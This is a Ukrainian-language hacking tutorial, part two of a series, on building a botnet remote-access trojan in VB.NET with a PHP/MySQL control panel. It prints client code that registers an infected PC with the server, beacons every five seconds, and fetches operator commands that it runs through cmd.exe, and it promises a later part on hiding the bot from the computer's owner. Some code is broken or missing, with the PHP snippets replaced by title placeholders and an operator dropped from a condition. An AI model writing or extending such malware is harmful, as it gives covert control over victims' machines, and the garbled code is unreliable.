На фіг backdoor, робимо rat VB.NET (Частина 2)

14

Я вирішив те що нікому не цікавий звичайний backdoor, тому ми з вами зробимо ботнеть мережу, і зможемо керувати пк через CMD.
Я обіцяв, що ми приховаємо наш клієнт від господаря пк, але не зараз, тому що треба спочатку налагодити всі наші функції ботнету, я вирішив навчити його виконувати команди, запам’ятовувати виконані, показувати що бот онлайн, а ще реєструватися в мережі.

Отже, спочатку я зробив БД, де створив 3 таблиці

Де bots — загальна кількість ботів
commands команди
online — боти онлайн
Кількість стовпців у таблиці робіть для себе самі, так як вам зручно) на відео видно, що я не став заморочуватися=)

Далі я просто пішов писати вебобмотку,

На фіг backdoor, робимо rat VB.NET (Частина 2)

config файл з налаштуваннями…

На фіг backdoor, робимо rat VB.NET (Частина 2) Показати / Приховати текст
$db = mysql_connect («localhost»,«ім’я користувача БД»,«пароль»);
mysql_select_db («сама БД»,$db);

В index я виводжу дані з бд

На фіг backdoor, робимо rat VB.NET (Частина 2) Показати / Приховати текст
На фіг backdoor, робимо rat VB.NET (Частина 2)

add додає бота в мережу

На фіг backdoor, робимо rat VB.NET (Частина 2) Показати / Приховати текст
На фіг backdoor, робимо rat VB.NET (Частина 2)

online за кодом = add тільки записує в іншу таблицю

Файл com виводить нашу команду для бота

На фіг backdoor, робимо rat VB.NET (Частина 2) Показати / Приховати текст
На фіг backdoor, робимо rat VB.NET (Частина 2)

bots і on в даний момент не використовуються…

Ну а клієнт ми писали в першій частині
https://happy-hack.ru/other/12890-delaem-backdoor-vb-net.html

А зараз розповім, що ж я змінив:
1) я змінив теги для команди

На фіг backdoor, робимо rat VB.NET (Частина 2)

2) змінив у таймере1 умова виконання, що б у нас команда виконувалася лише 1 раз.

На фіг backdoor, робимо rat VB.NET (Частина 2) Показати / Приховати текст
If InStr(Str, R(0)) 0 Then
Dim Tmp As String = Str.Split(R, StringSplitOptions.None)(1)
Dim Res As String = Tmp.Split(L, StringSplitOptions.None)(0)
Wait(2)
If My.Settings.com = Res Then
Else
Shell(«cmd.exe « + Res)
My.Settings.com = Res
My.Settings.Save()
End If
Else
End If

3) Додав ще одну глобальну змінну

На фіг backdoor, робимо rat VB.NET (Частина 2) Показати / Приховати текст
Public botname3 As String

4) При завантаженні форми відправляю дані про боте, і запускаю другий таймер на додаток до першого

На фіг backdoor, робимо rat VB.NET (Частина 2) Показати / Приховати текст
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
www = «localhost»
Dim botname As String = My.Computer.Name & My.Computer.Info.OSFullName
Dim botname2 As String = botname.Replace(» «, «»)
botname3 = botname2.Replace(«.», «»)
WC.DownloadString(www & «add.php?name=» & botname3)
Timer1.Enabled = True
Timer1.Interval = 5000
Timer2.Enabled = True
Timer2.Interval = 5000
End Sub

5) Ну і зробив отстук через другий таймер

На фіг backdoor, робимо rat VB.NET (Частина 2) Показати / Приховати текст
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
WC.DownloadString(www & «online.php?name=» & botname3)
End Sub

P. S. Я знаю що багатьом би краще, що б я зробив готову програму, що я і зроблю, але буде ще 3 частина, де ми приховаємо наш бот.